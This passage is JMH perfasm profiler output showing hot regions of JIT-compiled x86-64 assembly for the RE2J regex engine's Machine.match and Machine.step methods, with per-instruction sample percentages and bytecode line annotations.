%edi,0x30(%rsp) 0.55% 0.80% │││ │││ ││││││ 0x00007fc83d245419: mov %r9d,0x60(%rsp) │││ │││ ││││││ 0x00007fc83d24541e: mov %r11d,0x64(%rsp) 0.02% 0.02% ↘││ │││ ││││││ 0x00007fc83d245423: mov 0x34(%rsp),%r11d 0.20% 0.07% ││ │││ ││││││ 0x00007fc83d245428: movzbl 0x18(%r12,%r11,8),%r11d ; implicit exception: dispatches to 0x00007fc83d246e1e 0.59% 0.70% ││ │││ ││││││ 0x00007fc83d24542e: mov 0x34(%rsp),%r10d 0.02% 0.00% ││ │││ ││││││ 0x00007fc83d245433: shl $0x3,%r10 ;*aload ││ │││ ││││││ ; - com.google.re2j.Machine::match@136 (line 211) 0.01% ││ │││ ││││││ 0x00007fc83d245437: mov %r10,0x18(%rsp) 0.01% 0.01% ││ │││ ││││││ 0x00007fc83d24543c: test %r11d,%r11d ││ │││╭ ││││││ 0x00007fc83d24543f: je 0x00007fc83d245483 ;*ifeq ││ ││││ ││││││ ; - com.google.re2j.Machine::match@141 (line 211) 0.21% 0.20% ││ ││││ ││││││ 0x00007fc83d245441: mov 0x44(%rsp),%r11d 0.01% 0.00% ││ ││││ ││││││ 0x00007fc83d245446: test %r11d,%r11d ││ ││││ ││││││ 0x00007fc83d245449: jne 0x00007fc83d246071 ;*ifeq ││ ││││ ││││││ ; - com.google.re2j.Machine::match@148 (line 212) ││ ││││ ││││││ 0x00007fc83d24544f: test %eax,%eax ││ ││││ ││││││ 0x00007fc83d245451: jne 0x00007fc83d2460d1 ;*ifeq ││ ││││ ││││││ ; - com.google.re2j.Machine::match@162 (line 216) 0.01% 0.01% ││ ││││ ││││││ 0x00007fc83d245457: mov 0x24(%r12,%rsi,8),%r10d ;*getfield prefix ││ ││││ ││││││ ; - com.google.re2j.Machine::match@172 (line 220) ││ ││││ ││││││ ; implicit exception: dispatches to 0x00007fc83d246e91 0.19% 0.26% ││ ││││ ││││││ 0x00007fc83d24545c: mov %r10d,%r9d 0.00% ││ ││││ ││││││ 0x00007fc83d24545f: mov 0xc(%r12,%r10,8),%r10d ;*getfield value ││ ││││ ││││││ ; - java.lang.String::isEmpty@1 (line 635) ││ ││││ ││││││ ; - com.google.re2j.Machine::match@175 (line 220) ││ ││││ ││││││ ; implicit exception: dispatches to 0x00007fc83d246ea1 ││ ││││ ││││││ 0x00007fc83d245464: vmovd %r10d,%xmm0 0.02% 0.01% ││ ││││ ││││││ 0x00007fc83d245469: mov 0xc(%r12,%r10,8),%r10d ;*arraylength ││ ││││ ││││││ ; - java.lang.String::isEmpty@4 (line 635) ││ ││││ ││││││ ; - com.google.re2j.Machine::match@175 (line 220) ││ ││││ ││││││ ; implicit exception: dispatches to 0x00007fc83d246eb1 0.26% 0.24% ││ ││││ ││││││ 0x00007fc83d24546e: mov %r10d,0x50(%rsp) 0.03% 0.00% ││ ││││ ││││││ 0x00007fc83d245473: test %r10d,%r10d ││ ││││ ││││││ 0x00007fc83d245476: jne 0x00007fc83d2457e4 ;*ifne ││ ││││ ││││││ ; - com.google.re2j.Machine::match@178 (line 220) ││ ││││ ││││││ 0x00007fc83d24547c: mov %r8d,0x58(%rsp) 0.02% 0.00% ││ ││││╭││││││ 0x00007fc83d245481: jmp 0x00007fc83d245488 0.32% 0.38% ││ │││↘│││││││ 0x00007fc83d245483: mov %r8d,0x58(%rsp) ;*iload_3 ││ │││ │││││││ ; - com.google.re2j.Machine::match@267 (line 237) 0.31% 0.19% ││ │││ ↘││││││ 0x00007fc83d245488: test %eax,%eax ││ │││ ││││││ 0x00007fc83d24548a: jne 0x00007fc83d245bad ;*ifne ││ │││ ││││││ ; - com.google.re2j.Machine::match@279 (line 237) 0.01% 0.02% ││ │││ ││││││ 0x00007fc83d245490: vmovd %xmm4,%r10d 0.02% 0.00% ││ │││ ││││││ 0x00007fc83d245495: test %r10d,%r10d ││ │││ ││││││ 0x00007fc83d245498: jne 0x00007fc83d245d25 ;*ifeq ││ │││ ││││││ ; - com.google.re2j.Machine::match@286 (line 240) 0.32% 0.30% ││ │││ ││││││ 0x00007fc83d24549e: mov %rbx,%r11 0.23% 0.09% ││ │││ ││││││ 0x00007fc83d2454a1: mov 0x18(%rbx),%r8d ;*getfield prog ││ │││ ││││││ ; - com.google.re2j.Machine::match@297 (line 243) 0.04% 0.01% ││ │││ ││││││ 0x00007fc83d2454a5: mov 0x1c(%r12,%r8,8),%ebp ;*getfield startInst ││ │││ ││││││ ; - com.google.re2j.Machine::match@300 (line 243) ││ │││ ││││││ ; implicit exception: dispatches to 0x00007fc83d246e2d 0.01% ││ │││ ││││││ 0x00007fc83d2454aa: mov %r11,0x50(%rsp) 0.36% 0.31% ││ │││ ││││││ 0x00007fc83d2454af: mov 0x8(%r12,%rbp,8),%r11d ; implicit exception: dispatches to 0x00007fc83d246e3d 0.23% 0.06% ││ │││ ││││││ 0x00007fc83d2454b4: lea (%r12,%rbp,8),%r10 0.01% 0.01% ││ │││ ││││││ 0x00007fc83d2454b8: cmp $0xf8019a09,%r11d ; {metadata(&apos;com/google/re2j/Inst$Alt5Inst&apos;)} ││ │││ ╰│││││ 0x00007fc83d2454bf: je 0x00007fc83d2451dc 0.00% ││ │││ │││││ 0x00007fc83d2454c5: cmp $0xf8019909,%r11d ; {metadata(&apos;com/google/re2j/Inst$MatchInst&apos;)} ││ │││ │││││ 0x00007fc83d2454cc: jne 0x00007fc83d245d81 ;*invokevirtual add ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) 0.28% 0.24% ││ │││ │││││ 0x00007fc83d2454d2: mov 0x18(%r10),%ecx ;*getfield pc ││ │││ │││││ ; - com.google.re2j.Inst$MatchInst::add@2 (line 144) ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) ││ │││ │││││ 0x00007fc83d2454d6: cmp $0x40,%ecx ││ │││ │││││ 0x00007fc83d2454d9: jg 0x00007fc83d245f4d ;*if_icmpgt ││ │││ │││││ ; - com.google.re2j.Machine$Queue::contains@3 (line 41) ││ │││ │││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) 0.02% 0.01% ││ │││ │││││ 0x00007fc83d2454df: mov %r10,%r9 0.00% 0.00% ││ │││ │││││ 0x00007fc83d2454e2: mov $0x1,%r8d 0.25% 0.23% ││ │││ │││││ 0x00007fc83d2454e8: shl %cl,%r8 ;*lshl ││ │││ │││││ ; - com.google.re2j.Machine$Queue::contains@12 (line 42) ││ │││ │││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) 0.03% 0.04% ││ │││ │││││ 0x00007fc83d2454eb: mov 0x34(%rsp),%r11d 0.25% 0.16% ││ │││ │││││ 0x00007fc83d2454f0: mov 0x10(%r12,%r11,8),%r10 ;*getfield pcsl ││ │││ │││││ ; - com.google.re2j.Machine$Queue::contains@7 (line 42) ││ │││ │││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) 0.01% ││ │││ │││││ 0x00007fc83d2454f5: mov %r10,%r11 0.01% ││ │││ │││││ 0x00007fc83d2454f8: and %r8,%r11 ;*land ││ │││ │││││ ; - com.google.re2j.Machine$Queue::contains@13 (line 42) ││ │││ │││││ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) 0.01% 0.01% ││ │││ │││││ 0x00007fc83d2454fb: test %r11,%r11 ││ │││ │││││ 0x00007fc83d2454fe: jne 0x00007fc83d245fa5 ;*ifeq ││ │││ │││││ ; - com.google.re2j.Inst$MatchInst::add@8 (line 144) ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) 0.32% 0.15% ││ │││ │││││ 0x00007fc83d245504: cmp $0x40,%ecx ││ │││ │││││ 0x00007fc83d245507: jge 0x00007fc83d246019 ;*if_icmpge ││ │││ │││││ ; - com.google.re2j.Machine$Queue::add@3 (line 51) ││ │││ │││││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) 0.00% ││ │││ │││││ 0x00007fc83d24550d: mov 0x34(%rsp),%r11d 0.01% 0.01% ││ │││ │││││ 0x00007fc83d245512: mov %r12b,0x18(%r12,%r11,8) ;*putfield empty ││ │││ │││││ ; - com.google.re2j.Machine$Queue::add@33 (line 56) ││ │││ │││││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) 0.01% 0.02% ││ │││ │││││ 0x00007fc83d245517: mov 0x20(%r12,%r11,8),%ebx ;*getfield denseThreadsInstructions ││ │││ │││││ ; - com.google.re2j.Machine$Queue::addThread@1 (line 66) ││ │││ │││││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) 0.26% 0.19% ││ │││ │││││ 0x00007fc83d24551c: mov 0xc(%r12,%r11,8),%ebp ;*getfield size ││ │││ │││││ ; - com.google.re2j.Machine$Queue::addThread@6 (line 66) ││ │││ │││││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) ││ │││ │││││ 0x00007fc83d245521: or %r10,%r8 0.01% 0.01% ││ │││ │││││ 0x00007fc83d245524: mov %r8,0x10(%r12,%r11,8) ;*putfield pcsl ││ │││ │││││ ; - com.google.re2j.Machine$Queue::add@15 (line 52) ││ │││ │││││ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) 0.00% 0.01% ││ │││ │││││ 0x00007fc83d245529: mov %ebp,%r11d 0.29% 0.25% ││ │││ │││││ 0x00007fc83d24552c: inc %r11d ││ │││ │││││ 0x00007fc83d24552f: mov 0x34(%rsp),%r10d 0.01% 0.02% ││ │││ │││││ 0x00007fc83d245534: mov %r11d,0xc(%r12,%r10,8) ;*putfield size ││ │││ │││││ ; - com.google.re2j.Machine$Queue::addThread@12 (line 66) ││ │││ │││││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) 0.02% 0.01% ││ │││ │││││ 0x00007fc83d245539: mov 0xc(%r12,%rbx,8),%r11d ; implicit exception: dispatches to 0x00007fc83d246e7d 0.23% 0.31% ││ │││ │││││ 0x00007fc83d24553e: cmp %r11d,%ebp ││ │││ │││││ 0x00007fc83d245541: jae 0x00007fc83d245cc9 0.09% 0.04% ││ │││ │││││ 0x00007fc83d245547: mov 0x8(%r12,%rbx,8),%r11d 0.01% ││ │││ │││││ 0x00007fc83d24554c: cmp $0xf8019807,%r11d ; {metadata(&apos;com/google/re2j/Inst&apos;[])} ││ │││ │││││ 0x00007fc83d245553: jne 0x00007fc83d245de1 0.04% 0.04% ││ │││ │││││ 0x00007fc83d245559: mov %r9,%r11 0.24% 0.15% ││ │││ │││││ 0x00007fc83d24555c: shr $0x3,%r11 ;*aastore ││ │││ │││││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ││ │││ │││││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) 0.03% 0.01% ││ │││ │││││ 0x00007fc83d245560: lea (%r12,%rbx,8),%r10 ;*getfield denseThreadsInstructions ││ │││ │││││ ; - com.google.re2j.Machine$Queue::addThread@1 (line 66) ││ │││ │││││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) 0.00% 0.00% ││ │││ │││││ 0x00007fc83d245564: lea 0x10(%r10,%rbp,4),%r10 0.07% 0.03% ││ │││ │││││ 0x00007fc83d245569: mov %r11d,(%r10) 0.33% 0.27% ││ │││ │││││ 0x00007fc83d24556c: shr $0x9,%r10 0.02% 0.00% ││ │││ │││││ 0x00007fc83d245570: movabs $0x7fc84e197000,%r11 0.00% 0.00% ││ │││ │││││ 0x00007fc83d24557a: mov %r12b,(%r11,%r10,1) ;*aastore ││ │││ │││││ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ││ │││ │││││ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ││ │││ │││││ ; - com.google.re2j.Machine::match@318 (line 243) 0.31% 0.33% ││ │││ ╰││││ 0x00007fc83d24557e: jmpq 0x00007fc83d24520c 0.00% ↘│ │││ ││││ 0x00007fc83d245583: mov $0x5,%r10d │ │││ ╰│││ 0x00007fc83d245589: jmpq 0x00007fc83d24521b 0.01% ↘ │││ │││ 0x00007fc83d24558e: or $0xa,%r10d ;*ior ; - com.google.re2j.Utils::emptyOpContext@27 (line 180) │││ │││ ; - com.google.re2j.Machine::match@326 (line 245) │││ ╰││ 0x00007fc83d245592: jmpq 0x00007fc83d245232 0.00% ↘││ ││ 0x00007fc83d245597: mov $0x1,%r10d ││ ╰│ 0x00007fc83d24559d: jmpq 0x00007fc83d2452bd │↘ │ 0x00007fc83d2455a2: mov 0x30(%rsp),%edi 0.01% 0.00% │ │ 0x00007fc83d2455a6: mov $0xffffffff,%r10d │ ╰ 0x00007fc83d2455ac: jmpq 0x00007fc83d2453d6 ↘ 0x00007fc83d2455b1: test %ecx,%ecx 0x00007fc83d2455b3: jne 0x00007fc83d2468e8 ;*ifeq ; - com.google.re2j.Machine::freeQueue@4 (line 150) ; - com.google.re2j.Machine::freeQueue@3 (line 146) ; - com.google.re2j.Machine::match@447 (line 267) 0.00% 0x00007fc83d2455b9: jmpq 0x00007fc83d2456e3 0x00007fc83d2455be: test %edi,%edi 0x00007fc83d2455c0: jl 0x00007fc83d2456d2 ;*ifge ; - com.google.re2j.MachineInput$UTF16Input::index@22 (line 205) ; - com.google.re2j.Machine::match@206 (line 224) 0x00007fc83d2455c6: mov %edi,%r10d 0x00007fc83d2455c9: sub 0x2c(%rsp),%r10d ;*isub ; - com.google.re2j.MachineInput$UTF16Input::index@31 (line 205) ; - com.google.re2j.Machine::match@206 (line 224) 0x00007fc83d2455ce: test %r10d,%r10d 0x00007fc83d2455d1: jl 0x00007fc83d2456d2 ;*ifge ; - com.google.re2j.Machine::match@213 (line 225) 0.00% 0x00007fc83d2455d7: mov 0x5c(%rsp),%r8d 0x00007fc83d2455dc: add %r10d,%r8d ;*iadd ; - com.google.re2j.Machine::match@222 (line 228) 0x00007fc83d2455df: mov %r8d,%edi 0x00007fc83d2455e2: mov %r8d,%r10d 0.00% 0x00007fc83d2455e5: add 0x60(%rsp),%r10d ;*iadd ; - com.google.re2j.MachineInput$UTF16Input::step@5 (line 185) ; - com.google.re2j.Machine::match@226 (line 229) 0x00007fc83d2455ea: mov %r10d,%r9d 0x00007fc83d2455ed: cmp 0x64(%rsp),%r10d 0x00007fc83d2455f2: jge 0x00007fc83d245aac ;*if_icmpge ; - com.google.re2j.MachineInput$UTF16Input::step@12 (line 186) ; - com.google.re2j.Machine::match@226 (line 229) 0x00007fc83d2455f8: test %r10d,%r10d 0x00007fc83d2455fb: jl 0x00007fc83d246b09 ;*iflt ; - java.lang.String::charAt@1 (line 657) .................................................................................................... 28.59% 29.86% <total for region 1> ....[Hottest Region 2].............................................................................. C2, level 4, com.google.re2j.Machine::step, version 494 (195 bytes) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Inst$CaptureInst::add@96 (line 472) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Machine::step@214 (line 317) ; {optimized virtual_call} 0x00007fc83d21fe60: test %rax,%rax 0x00007fc83d21fe63: jne 0x00007fc83d2212fd 0x00007fc83d21fe69: mov 0x48(%rsp),%r11 ;*synchronization entry ; - com.google.re2j.Inst$Alt2Inst::add@-1 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.10% 0.07% 0x00007fc83d21fe6e: mov 0x28(%rsp),%r14 0.05% 0.07% 0x00007fc83d21fe73: mov 0xac(%rsp),%eax 0.16% 0.22% 0x00007fc83d21fe7a: mov 0x30(%rsp),%r13 0.08% 0.16% 0x00007fc83d21fe7f: mov 0xa4(%rsp),%r10d ;*synchronization entry ; - com.google.re2j.Machine::step@-1 (line 280) 0.07% 0.11% 0x00007fc83d21fe87: mov 0xa8(%rsp),%r8d 0.05% 0.07% 0x00007fc83d21fe8f: mov 0xb0(%rsp),%ebx ;*aload ; - com.google.re2j.Machine::step@219 (line 320) 1.39% 1.30% 0x00007fc83d21fe96: inc %r10d ;*iinc ; - com.google.re2j.Machine::step@230 (line 286) 0.18% 0.19% 0x00007fc83d21fe99: cmp %eax,%r10d 0x00007fc83d21fe9c: jge 0x00007fc83d21ff7d 0.97% 1.01% 0x00007fc83d21fea2: mov %r11,%r9 0.10% 0.09% 0x00007fc83d21fea5: mov %r8d,0xa8(%rsp) 1.02% 1.14% 0x00007fc83d21fead: mov %ebx,0xb0(%rsp) ;*iload ; - com.google.re2j.Machine::step@43 (line 289) 0.20% 0.27% 0x00007fc83d21feb4: mov 0x10(%r13,%r10,4),%r8d ;*aaload ; - com.google.re2j.Machine::step@99 (line 299) 1.16% 1.32% 0x00007fc83d21feb9: mov 0xc(%r12,%r8,8),%r11d ;*getfield op ; - com.google.re2j.Machine::step@104 (line 301) ; implicit exception: dispatches to 0x00007fc83d221369 1.72% 1.86% 0x00007fc83d21febe: cmp $0x6,%r11d 0x00007fc83d21fec2: je 0x00007fc83d21ffc5 ;*if_icmpne ; - com.google.re2j.Machine::step@109 (line 301) 1.70% 1.70% 0x00007fc83d21fec8: cmp $0xa,%r11d 0x00007fc83d21fecc: je 0x00007fc83d21f9dd ;*if_icmpne ; - com.google.re2j.Inst::matchRune@6 (line 90) ; - com.google.re2j.Machine::step@191 (line 316) 0.61% 0.66% 0x00007fc83d21fed2: cmp $0xb,%r11d 0x00007fc83d21fed6: je 0x00007fc83d22006a ;*if_icmpne ; - com.google.re2j.Inst::matchRune@17 (line 94) ; - com.google.re2j.Machine::step@191 (line 316) 1.25% 1.15% 0x00007fc83d21fedc: mov 0x1c(%r12,%r8,8),%ecx ;*getfield f0 ; - com.google.re2j.Inst::matchRune@42 (line 99) ; - com.google.re2j.Machine::step@191 (line 316) 0.08% 0.07% 0x00007fc83d21fee1: cmp $0x9,%r11d ╭ 0x00007fc83d21fee5: jne 0x00007fc83d21fef9 ;*if_icmpne │ ; - com.google.re2j.Inst::matchRune@38 (line 98) │ ; - com.google.re2j.Machine::step@191 (line 316) 0.36% 0.16% │ 0x00007fc83d21fee7: cmp 0x18(%rsp),%ecx │ 0x00007fc83d21feeb: je 0x00007fc83d21ffba ;*if_icmpne │ ; - com.google.re2j.Inst::matchRune@46 (line 99) │ ; - com.google.re2j.Machine::step@191 (line 316) 0.05% 0.04% │ 0x00007fc83d21fef1: xor %r11d,%r11d 0.27% 0.12% │ 0x00007fc83d21fef4: jmpq 0x00007fc83d21f933 0.91% 1.02% ↘ 0x00007fc83d21fef9: cmp $0xc,%r11d 0x00007fc83d21fefd: jne 0x00007fc83d220099 ;*if_icmpne ; - com.google.re2j.Inst::matchRune@61 (line 102) ; - com.google.re2j.Machine::step@191 (line 316) 0.88% 1.02% 0x00007fc83d21ff03: cmp 0x18(%rsp),%ecx 0x00007fc83d21ff07: je 0x00007fc83d21ffaf ;*if_icmpeq ; - com.google.re2j.Inst::matchRune@69 (line 103) ; - com.google.re2j.Machine::step@191 (line 316) 0.94% 0.97% 0x00007fc83d21ff0d: mov 0x20(%r12,%r8,8),%r11d ;*getfield f1 ; - com.google.re2j.Inst::matchRune@73 (line 103) ; - com.google.re2j.Machine::step@191 (line 316) 0.03% 0.04% 0x00007fc83d21ff12: cmp 0x18(%rsp),%r11d 0x00007fc83d21ff17: je 0x00007fc83d21ffaf ;*if_icmpeq ; - com.google.re2j.Inst::matchRune@77 (line 103) ; - com.google.re2j.Machine::step@191 (line 316) 1.56% 1.60% 0x00007fc83d21ff1d: mov 0x24(%r12,%r8,8),%ebp ;*getfield f2 ; - com.google.re2j.Inst::matchRune@81 (line 103) ; - com.google.re2j.Machine::step@191 (line 316) 0.21% 0.16% 0x00007fc83d21ff22: cmp 0x18(%rsp),%ebp 0x00007fc83d21ff26: je 0x00007fc83d2200c9 ;*if_icmpeq ; - com.google.re2j.Inst::matchRune@85 (line 103) ; - com.google.re2j.Machine::step@191 (line 316) 1.43% 1.47% 0x00007fc83d21ff2c: mov 0x28(%r12,%r8,8),%ebp ;*getfield f3 ; - com.google.re2j.Inst::matchRune@89 (line 103) ; - com.google.re2j.Machine::step@191 (line 316) 0.01% 0.05% 0x00007fc83d21ff31: cmp 0x18(%rsp),%ebp 0x00007fc83d21ff35: jne 0x00007fc83d21f930 ;*if_icmpne ; - com.google.re2j.Inst::matchRune@93 (line 103) ; - com.google.re2j.Machine::step@191 (line 316) 0x00007fc83d21ff3b: mov $0xffffff65,%esi 0x00007fc83d21ff40: mov %r10d,0xa4(%rsp) 0x00007fc83d21ff48: mov %r8d,0xac(%rsp) 0x00007fc83d21ff50: mov %r14,0x28(%rsp) 0x00007fc83d21ff55: mov %r9,0x30(%rsp) .................................................................................................... 17.51% 18.10% <total for region 2> ....[Hottest Region 3].............................................................................. C2, level 4, com.google.re2j.Machine::step, version 494 (1013 bytes) 0x00007fc83d21f9c0: mov %r11d,(%rdx) 0x00007fc83d21f9c3: shr $0x9,%r10 0x00007fc83d21f9c7: movabs $0x7fc84e197000,%r11 0x00007fc83d21f9d1: mov %r12b,(%r11,%r10,1) ;*aastore ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) ; - com.google.re2j.Inst$Alt2Inst::add@57 (line 181) ; - com.google.re2j.Machine::step@-1 (line 280) 0x00007fc83d21f9d5: mov %r13,%r11 0x00007fc83d21f9d8: jmpq 0x00007fc83d21fe6e 0.20% 0.15% 0x00007fc83d21f9dd: mov 0x2c(%r12,%r8,8),%r11d ;*getfield outInst ; - com.google.re2j.Machine::step@199 (line 317) 0.23% 0.15% 0x00007fc83d21f9e2: mov 0x8(%r12,%r11,8),%ebx ; implicit exception: dispatches to 0x00007fc83d221379 1.01% 0.74% 0x00007fc83d21f9e7: lea (%r12,%r11,8),%r8 0.01% 0.01% 0x00007fc83d21f9eb: cmp $0xf8019843,%ebx ; {metadata(&apos;com/google/re2j/Inst$Alt2Inst&apos;)} ╭ 0x00007fc83d21f9f1: je 0x00007fc83d21faa7 0.10% 0.04% │ 0x00007fc83d21f9f7: cmp $0xf8019909,%ebx ; {metadata(&apos;com/google/re2j/Inst$MatchInst&apos;)} │ 0x00007fc83d21f9fd: jne 0x00007fc83d2207e9 ;*invokevirtual add │ ; - com.google.re2j.Machine::step@214 (line 317) 0.04% 0.02% │ 0x00007fc83d21fa03: mov 0x18(%r8),%edx ;*getfield pc │ ; - com.google.re2j.Inst$MatchInst::add@2 (line 144) │ ; - com.google.re2j.Machine::step@214 (line 317) │ 0x00007fc83d21fa07: mov %r9,%r11 │ 0x00007fc83d21fa0a: mov 0x10(%r9),%r9 ;*getfield pcsl │ ; - com.google.re2j.Machine$Queue::contains@7 (line 42) │ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │ ; - com.google.re2j.Machine::step@214 (line 317) │ ; implicit exception: dispatches to 0x00007fc83d221441 0.03% │ 0x00007fc83d21fa0e: cmp $0x40,%edx │ 0x00007fc83d21fa11: jg 0x00007fc83d220ec9 ;*if_icmpgt │ ; - com.google.re2j.Machine$Queue::contains@3 (line 41) │ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │ ; - com.google.re2j.Machine::step@214 (line 317) 0.06% 0.00% │ 0x00007fc83d21fa17: mov $0x1,%ebx │ 0x00007fc83d21fa1c: mov %edx,%ecx │ 0x00007fc83d21fa1e: shl %cl,%rbx ;*lshl │ ; - com.google.re2j.Machine$Queue::contains@12 (line 42) │ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │ ; - com.google.re2j.Machine::step@214 (line 317) 0.14% 0.05% │ 0x00007fc83d21fa21: mov %r9,%rcx │ 0x00007fc83d21fa24: and %rbx,%rcx ;*land │ ; - com.google.re2j.Machine$Queue::contains@13 (line 42) │ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │ ; - com.google.re2j.Machine::step@214 (line 317) 0.00% │ 0x00007fc83d21fa27: test %rcx,%rcx │ 0x00007fc83d21fa2a: jne 0x00007fc83d220047 ;*ifeq │ ; - com.google.re2j.Machine$Queue::contains@16 (line 42) │ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │ ; - com.google.re2j.Machine::step@214 (line 317) 0.02% 0.03% │ 0x00007fc83d21fa30: xor %ebp,%ebp ;*ireturn │ ; - com.google.re2j.Machine$Queue::contains@24 (line 42) │ ; - com.google.re2j.Inst$MatchInst::add@5 (line 144) │ ; - com.google.re2j.Machine::step@214 (line 317) 0.03% 0.01% │ 0x00007fc83d21fa32: test %rcx,%rcx │ 0x00007fc83d21fa35: jne 0x00007fc83d220f51 ;*ifeq │ ; - com.google.re2j.Inst$MatchInst::add@8 (line 144) │ ; - com.google.re2j.Machine::step@214 (line 317) 0.02% 0.02% │ 0x00007fc83d21fa3b: cmp $0x40,%edx │ 0x00007fc83d21fa3e: jge 0x00007fc83d220fc1 ;*if_icmpge │ ; - com.google.re2j.Machine$Queue::add@3 (line 51) │ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) │ ; - com.google.re2j.Machine::step@214 (line 317) 0.01% 0.01% │ 0x00007fc83d21fa44: mov %r12b,0x18(%r11) ;*putfield empty │ ; - com.google.re2j.Machine$Queue::add@33 (line 56) │ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) │ ; - com.google.re2j.Machine::step@214 (line 317) 0.00% │ 0x00007fc83d21fa48: or %r9,%rbx 0.04% 0.00% │ 0x00007fc83d21fa4b: mov %rbx,0x10(%r11) ;*putfield pcsl │ ; - com.google.re2j.Machine$Queue::add@15 (line 52) │ ; - com.google.re2j.Inst$MatchInst::add@19 (line 147) │ ; - com.google.re2j.Machine::step@214 (line 317) 0.01% 0.03% │ 0x00007fc83d21fa4f: mov 0x20(%r11),%edx ;*getfield denseThreadsInstructions │ ; - com.google.re2j.Machine$Queue::addThread@1 (line 66) │ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) │ ; - com.google.re2j.Machine::step@214 (line 317) 0.01% 0.00% │ 0x00007fc83d21fa53: mov 0xc(%r11),%ebp ;*getfield size │ ; - com.google.re2j.Machine$Queue::addThread@6 (line 66) │ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) │ ; - com.google.re2j.Machine::step@214 (line 317) 0.04% │ 0x00007fc83d21fa57: mov %ebp,%ecx 0.03% 0.00% │ 0x00007fc83d21fa59: inc %ecx 0.09% 0.04% │ 0x00007fc83d21fa5b: mov %ecx,0xc(%r11) ;*putfield size │ ; - com.google.re2j.Machine$Queue::addThread@12 (line 66) │ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) │ ; - com.google.re2j.Machine::step@214 (line 317) 0.05% 0.01% │ 0x00007fc83d21fa5f: mov 0xc(%r12,%rdx,8),%ecx ; implicit exception: dispatches to 0x00007fc83d221455 0.01% 0.01% │ 0x00007fc83d21fa64: cmp %ecx,%ebp │ 0x00007fc83d21fa66: jae 0x00007fc83d220761 0.02% 0.00% │ 0x00007fc83d21fa6c: mov 0x8(%r12,%rdx,8),%ecx 0.02% 0.02% │ 0x00007fc83d21fa71: cmp $0xf8019807,%ecx ; {metadata(&apos;com/google/re2j/Inst&apos;[])} │ 0x00007fc83d21fa77: jne 0x00007fc83d22085d ;*aastore │ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) │ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) │ ; - com.google.re2j.Machine::step@214 (line 317) 0.03% 0.01% │ 0x00007fc83d21fa7d: lea (%r12,%rdx,8),%r9 ;*getfield denseThreadsInstructions │ ; - com.google.re2j.Machine$Queue::addThread@1 (line 66) │ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) │ ; - com.google.re2j.Machine::step@214 (line 317) │ 0x00007fc83d21fa81: lea 0x10(%r9,%rbp,4),%r9 0.05% 0.01% │ 0x00007fc83d21fa86: shr $0x3,%r8 0.02% 0.00% │ 0x00007fc83d21fa8a: mov %r8d,(%r9) 0.31% 0.11% │ 0x00007fc83d21fa8d: mov %r9,%r8 │ 0x00007fc83d21fa90: shr $0x9,%r8 │ 0x00007fc83d21fa94: movabs $0x7fc84e197000,%r9 0.01% 0.02% │ 0x00007fc83d21fa9e: mov %r12b,(%r9,%r8,1) ;*aastore │ ; - com.google.re2j.Machine$Queue::addThread@16 (line 66) │ ; - com.google.re2j.Inst$MatchInst::add@72 (line 158) │ ; - com.google.re2j.Machine::step@214 (line 317) 0.13% 0.12% │ 0x00007fc83d21faa2: jmpq 0x00007fc83d21fe87 ;*invokevirtual add │ ; - com.google.re2j.Machine::step@214 (line 317) 0.20% 0.30% ↘ 0x00007fc83d21faa7: mov 0x18(%r8),%edx ;*getfield pc ; - com.google.re2j.Inst$Alt2Inst::add@2 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) 0.03% 0.04% 0x00007fc83d21faab: mov %r9,%r11 0.02% 0.01% 0x00007fc83d21faae: mov 0x10(%r9),%r9 ;*getfield pcsl ; - com.google.re2j.Machine$Queue::contains@7 (line 42) ; - com.google.re2j.Inst$Alt2Inst::add@5 (line 175) ; - com.google.re2j.Machine::step@-1 (line 280) ; implicit exception: dispatches to 0x00007fc83d2213ad 